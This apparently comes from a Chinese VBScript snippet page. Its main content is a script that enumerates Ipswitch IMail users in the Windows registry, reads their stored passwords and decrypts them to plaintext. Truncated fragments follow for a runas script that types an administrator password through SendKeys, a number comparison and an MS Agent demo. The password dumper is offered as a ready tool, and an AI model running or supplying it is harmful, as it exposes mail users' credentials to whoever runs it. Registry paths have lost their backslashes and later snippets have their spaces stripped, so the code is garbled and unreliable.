on error resume next 
const HKEY_LOCAL_MACHINE = &H80000002 
strComputer = "." 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ 
strComputer & "rootdefault:StdRegProv") 
strKeyPath = "SOFTWAREIpswitchIMailDomains" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys 
For Each subkey In arrSubKeys 
wscript.echo "Domain: "&subkey 
strKeyPath2 = strKeyPath&""&subkey&"Users" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 
For Each subkey2 In arrSubKeys2 
strKeyPath3=strKeyPath2&""&subkey2 
strValueName = "Password" 
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue 
if len(subkey2) and len(strValue) then 
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) 
end if 
Next 
Next 

function decrypt(name,pass) 
while len(name)<len(pass)/2 
name=name&name 
wend 
for i=0 to len(pass)/2-1 
p=mid(pass,2*i+1,2) 
p="&H"&p 
n=mid(name,i+1,1) 
decrypt=decrypt&chr(clng(p)-asc(n)) 
next 
end function 

VBS Runas 自动输入密码, 明文
SetShell=CreateObject("WScript.Shell")Shell.Run"cmd/c@runas/user:administratorCMD"WScript.Sleep2000Shell.SendKeys"password{ENTER}exit{ENTER}"WScript.Sleep1000Shell.SendKeys"@echooff&cls&netstopmesseng

vbscript 三个数比较大小的实现代码
dima,b,ca=inputbox("请输入0-99的整数且不能重复更不要用汉字和字母")b=inputbox("请输入0-99的整数且不能重复更不要用汉字和字母")c=inputbox("请输入0-99的整数

脚本 MsAgent组件 微软精灵 揪出系统自带的宠物
'OnErrorResumeNextstrAgentName="Merlin"strAgentPath="c:windowsmsagentchars"&strAgentName&".acs"ScriptComplete=0SetobjAgent=WScript.CreateObject("Agent.Control.2","agent_")objAgent.Connected=Trueob